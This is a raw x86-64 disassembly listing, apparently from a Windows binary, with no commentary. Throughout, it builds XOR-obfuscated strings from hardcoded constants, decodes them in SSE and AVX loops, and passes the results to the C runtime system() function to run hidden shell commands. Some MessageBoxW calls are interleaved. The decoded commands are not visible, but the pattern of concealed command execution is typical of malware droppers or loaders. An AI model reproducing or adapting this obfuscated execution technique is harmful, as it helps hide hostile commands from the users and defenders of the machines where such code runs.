sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x7ff73824b570
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xfc0]
call fcn.7ff73824f670
mov rdx, rax
lea rcx, [0x7ff7392b7c10]
call fcn.7ff73825ee80
lea rcx, [rbp + 0x1122]
lea rax, [0x7ff738200000]
lea rax, [rax + 0xd2110]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movzx eax, word [rax + 0x60]
mov word [rcx + 0x60], ax
mov r8d, r14d
cmp ebx, 2
jl 0x7ff73824b7b9
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x1126]
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xe0
jl 0x7ff73824b6b0
cmp r8d, 0xe2
jge 0x7ff73824b803
movsxd rax, r8d
lea r9, [rbp + 0x1122]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe2
jl 0x7ff73824b7d0
lea rcx, [rbp + 0x1122]
call qword [sym.imp.ucrtbase.dll_system]
movups xmm0, xmmword [0x7ff7382d27e0]
movups xmmword [rbp + 0x257], xmm0
movsd xmm0, qword [0x7ff7382d27f0]
movsd qword [rbp + 0x267], xmm0
movzx eax, word [0x7ff7382d27f8]
mov word [rbp + 0x26f], ax
movzx eax, byte [0x7ff7382d27fa]
mov byte [rbp + 0x271], al
mov r8d, r14d
cmp ebx, 2
jl 0x7ff73824b9a3
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x25b]
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x7ff73824b8a0
cmp r8d, 0x1b
jge 0x7ff73824b9e0
movsxd rax, r8d
lea r9, [rbp + 0x257]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x7ff73824b9b0
lea rcx, [rbp + 0x257]
call qword [sym.imp.ucrtbase.dll_system]
movss xmm0, dword [0x7ff7382e30dc]
movss xmm6, dword [0x7ff7382d2bfc]
mulss xmm0, xmm6
movss xmm2, dword [r15 + 0x2c]
subss xmm2, xmm0
movss xmm1, dword [r15 + 0x28]
mulss xmm1, xmm10
movaps xmm0, xmm1
subss xmm0, xmm12
mulss xmm0, xmm10
subss xmm1, xmm0
movss dword [rbp + 0xd8], xmm1
movss dword [rbp + 0xdc], xmm2
lea rcx, [rbp + 0xd8]
jmp 0x7ff73824a0ae
xor r9d, r9d
lea r8, [0x7ff7382d0c80]
lea rdx, [0x7ff7382d19c0]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxW]
movabs rax, 0x2e3456efbfcf5b26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs rax, 0xd01b68e1a5f8b3e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs rax, 0xbd3805d924034de9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
movabs rax, 0xffdd08081ec4b615
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movabs rax, 0x5d92ad85ff720913
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0xc5d278becf73230
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movabs rax, 0x4790f6e72fb86704
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
movabs rax, 0x75f1fe90606a300b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
movabs rax, 0x88bcffebadeb1062
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs rax, 0x3beb2fca9afcf05a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rax, 0x964e2320bf2c7a2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rax, 0xf0f754c83a2a45ad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
movabs rdx, 0x95e64ad3834a3291
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
movabs rcx, 0xf54e8f12cfa68ed2
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x5a403ecfd3bd2e45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
movabs rax, 0xa7740cce8ac2c096
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
movabs rax, 0xd44b2bbd456c2187
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
movabs rbx, 0x93b2677c7ba8c678
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
movabs rax, 0x34d482eb8a142769
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0x7e3843ea83bb484a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0xae89f8940ca2c2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
movabs rax, 0x58d19be80544035c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
movabs rax, 0xe6d5a8b797a8300d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x880], rax
movabs rax, 0x5a846396e98b9f3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x888], rax
movabs rax, 0xb62b5b45915e1f4f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x890], rax
movabs rax, 0x849931a453596880
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
vmovdqu ymm0, ymmword [rbp + 0x540]
vpxor ymm1, ymm0, ymmword [rbp + 0x840]
vmovdqa ymmword [rbp + 0x540], ymm1
vmovdqu ymm0, ymmword [rbp + 0x560]
vpxor ymm1, ymm0, ymmword [rbp + 0x860]
vmovdqa ymmword [rbp + 0x560], ymm1
vmovdqu ymm0, ymmword [rbp + 0x580]
vpxor ymm1, ymm0, ymmword [rbp + 0x880]
vmovdqa ymmword [rbp + 0x580], ymm1
vmovdqa xmm0, xmmword [rbp + 0x5a0]
vxorps xmm0, xmm0, xmmword [rbp + 0x8a0]
vmovdqa xmmword [rbp + 0x5a0], xmm0
lea rcx, [rbp + 0x540]
vzeroupper
call qword [sym.imp.ucrtbase.dll_system]
movabs rax, 0x352450a684e11406
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs rax, 0xc2106da1c69eb3e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0xd44b2bd83d090ff5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movabs rax, 0x5a403ecfd3bd2e45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa00], rax
movabs rax, 0xa7740cce8ac2c096
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa08], rax
movabs rax, 0xd44b2bbd456c2187
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa10], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xa18], rax
vmovdqu ymm0, ymmword [rbp + 0x340]
vpxor ymm1, ymm0, ymmword [rbp + 0xa00]
vmovdqa ymmword [rbp + 0x340], ymm1
lea rcx, [rbp + 0x340]
jmp 0x7ff73824ca0f
movss xmm0, dword [0x7ff7382e30dc]
movss xmm6, dword [0x7ff7382d2bfc]
mulss xmm0, xmm6
movss xmm2, dword [r15 + 0x2c]
subss xmm2, xmm0
movss xmm1, dword [r15 + 0x28]
mulss xmm1, xmm10
movaps xmm0, xmm1
subss xmm0, xmm12
mulss xmm0, xmm10
subss xmm1, xmm0
movss dword [rbp + 0xe0], xmm1
movss dword [rbp + 0xe4], xmm2
lea rcx, [rbp + 0xe0]
call fcn.7ff738216090
xor r9d, r9d
lea r8, [0x7ff7382d0c80]
lea rdx, [0x7ff7382d19c0]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxW]
movabs rax, 0x2e3456efbfcf5b26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rax, 0xd01b68e1a5f8b3e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
movabs rax, 0xbd3805d924034de9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
movabs rax, 0xffdd08081ec4b615
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
movabs rax, 0x5d92ad85ff720913
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rax, 0xc5d278becf73230
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x4790f6e72fb86704
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
movabs rax, 0x75f1fe90606a300b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
movabs rax, 0x88bcffebadeb1062
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
movabs rax, 0x3beb2fca9afcf05a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
movabs rax, 0x964e2320bf2c7a2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
movabs rax, 0xf0f754c83a2a45ad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
movabs rdx, 0x95e64ad3834a3291
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
movabs rcx, 0xf54e8f12cfa68ed2
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
movabs rax, 0x5a403ecfd3bd2e45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c0], rax
movabs rax, 0xa7740cce8ac2c096
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c8], rax
movabs rax, 0xd44b2bbd456c2187
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d0], rax
movabs rbx, 0x93b2677c7ba8c678
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x8d8], rax
movabs rax, 0x34d482eb8a142769
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e0], rax
movabs rax, 0x7e3843ea83bb484a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e8], rax
movabs rax, 0xae89f8940ca2c2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8f0], rax
movabs rax, 0x58d19be80544035c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8f8], rax
movabs rax, 0xe6d5a8b797a8300d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x900], rax
movabs rax, 0x5a846396e98b9f3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x908], rax
movabs rax, 0xb62b5b45915e1f4f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x910], rax
movabs rax, 0x849931a453596880
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x918], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x920], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x928], rax
vmovdqu ymm0, ymmword [rbp + 0x5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x8c0]
vmovdqa ymmword [rbp + 0x5c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x8e0]
vmovdqa ymmword [rbp + 0x5e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x600]
vpxor ymm1, ymm0, ymmword [rbp + 0x900]
vmovdqa ymmword [rbp + 0x600], ymm1
vmovdqa xmm0, xmmword [rbp + 0x620]
vxorps xmm0, xmm0, xmmword [rbp + 0x920]
vmovdqa xmmword [rbp + 0x620], xmm0
lea rcx, [rbp + 0x5c0]
vzeroupper
call qword [sym.imp.ucrtbase.dll_system]
movabs rax, 0x352450a684e11406
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
movabs rax, 0xc2106da1c69eb3e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs rax, 0xd44b2bd83d090ff5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movabs rax, 0x5a403ecfd3bd2e45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa20], rax
movabs rax, 0xa7740cce8ac2c096
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa28], rax
movabs rax, 0xd44b2bbd456c2187
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xa38], rax
vmovdqu ymm0, ymmword [rbp + 0x2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa20]
vmovdqa ymmword [rbp + 0x2c0], ymm1
lea rcx, [rbp + 0x2c0]
vzeroupper
call qword [sym.imp.ucrtbase.dll_system]
mov ebx, dword [0x7ff7382e30a0]
jmp 0x7ff73824ca26
xor r9d, r9d
lea r8, [0x7ff7382d0c80]
lea rdx, [0x7ff7382d19c0]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxW]
movabs rax, 0x2e3456efbfcf5b26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
movabs rax, 0xd01b68e1a5f8b3e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
movabs rax, 0xbd3805d924034de9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
movabs rax, 0xffdd08081ec4b615
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
movabs rax, 0x5d92ad85ff720913
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
movabs rax, 0xc5d278becf73230
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movabs rax, 0x6e86fefb22a47904
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
movabs rax, 0x20b4b5db52096739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
movabs rax, 0xbaefeb97f8851068
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs rax, 0x6f714f98de5f669
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
movabs rax, 0xd24a3409cd185106
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
movabs rax, 0xa9b954dc36771ae5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
movabs rax, 0x959224b6ef2341bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
movabs rcx, 0xf54e8f12cfa68ed2
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
movabs rax, 0x5a403ecfd3bd2e45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x940], rax
movabs rax, 0xa7740cce8ac2c096
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x948], rax
movabs rax, 0xd44b2bbd456c2187
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x950], rax
movabs rbx, 0x93b2677c7ba8c678
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x958], rax
movabs rax, 0x34d482eb8a142769
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x960], rax
movabs rax, 0x7e3843ea83bb484a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x968], rax
movabs rax, 0xae89f8940ca2c2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x970], rax
movabs rax, 0x58d19be80544035c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x978], rax
movabs rax, 0xe6d5a8b797a8300d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x980], rax
movabs rax, 0x5a846396e98b9f3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x988], rax
movabs rax, 0xb62b5b45915e1f4f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x990], rax
movabs rax, 0x849931a453596880
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x998], rax
movabs rax, 0x95e64ad3834a3291
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9a0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x9a8], rax
vmovdqu ymm0, ymmword [rbp + 0x640]
vpxor ymm1, ymm0, ymmword [rbp + 0x940]
vmovdqa ymmword [rbp + 0x640], ymm1
vmovdqu ymm0, ymmword [rbp + 0x660]
vpxor ymm1, ymm0, ymmword [rbp + 0x960]
vmovdqa ymmword [rbp + 0x660], ymm1
vmovdqu ymm0, ymmword [rbp + 0x680]
vpxor ymm1, ymm0, ymmword [rbp + 0x980]
vmovdqa ymmword [rbp + 0x680], ymm1
vmovdqa xmm0, xmmword [rbp + 0x6a0]
vxorps xmm0, xmm0, xmmword [rbp + 0x9a0]
vmovdqa xmmword [rbp + 0x6a0], xmm0
lea rcx, [rbp + 0x640]
vzeroupper
call qword [sym.imp.ucrtbase.dll_system]
movabs rax, 0x352450a684e11406
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0xeb284a80c39eb3e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xac2e05cf200840e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0x93b2677c7ba8c61d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
movabs rax, 0x5a403ecfd3bd2e45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa40], rax
movabs rax, 0xa7740cce8ac2c096
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa48], rax
movabs rax, 0xd44b2bbd456c2187
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa50], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xa58], rax
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa40]
vmovdqa ymmword [rbp + 0x2a0], ymm1
lea rcx, [rbp + 0x2a0]
jmp 0x7ff73824ca0f
xor r9d, r9d
lea r8, [0x7ff7382d0c80]
lea rdx, [0x7ff7382d1b20]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxW]
movabs rax, 0x2e3456efbfcf5b26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
movabs rax, 0xcb1d6ae1a5f8b3e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
movabs rax, 0x92197e922a050fe2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
movabs rax, 0xe6f430260d9f973f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
movabs rax, 0x68eec1cbe539075f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x740], rax
movabs rax, 0x224b3485e7d5211d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x748], rax
movabs rax, 0x6e89f0c51c8c6262
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
movabs rax, 0x75f1fe90606a7139
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movabs rax, 0xe6a1c6d2fbc14320
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
movabs rcx, 0x5a846396e98b9f3e
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
movabs rax, 0x5a403ecfd3bd2e45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rax, 0xa7740cce8ac2c096
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movabs rax, 0xd44b2bbd456c2187
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
movabs rbx, 0x93b2677c7ba8c678
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
movabs rax, 0x34d482eb8a142769
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
movabs rax, 0x7e3843ea83bb484a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
movabs rax, 0xae89f8940ca2c2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
movabs rax, 0x58d19be80544035c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
movabs rax, 0xe6d5a8b797a8300d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
vmovdqu ymm0, ymmword [rbp + 0x720]
vpxor ymm1, ymm0, ymmword [rbp + 0x7e0]
vmovdqa ymmword [rbp + 0x720], ymm1
vmovdqu ymm0, ymmword [rbp + 0x740]
vpxor ymm1, ymm0, ymmword [rbp + 0x800]
vmovdqa ymmword [rbp + 0x740], ymm1
vmovdqa xmm0, xmmword [rbp + 0x760]
vxorps xmm0, xmm0, xmmword [rbp + 0x820]
vmovdqa xmmword [rbp + 0x760], xmm0
lea rcx, [rbp + 0x720]
vzeroupper
call qword [sym.imp.ucrtbase.dll_system]
movabs rax, 0x352450a684e11406
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0xeb284a80c39eb3e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0xac2e05cf200840e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rax, 0x93b2677c7ba8c61d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0x5a403ecfd3bd2e45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa60], rax
movabs rax, 0xa7740cce8ac2c096
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa68], rax
movabs rax, 0xd44b2bbd456c2187
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa70], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xa78], rax
vmovdqu ymm0, ymmword [rbp + 0x300]
vpxor ymm1, ymm0, ymmword [rbp + 0xa60]
vmovdqa ymmword [rbp + 0x300], ymm1
lea rcx, [rbp + 0x300]
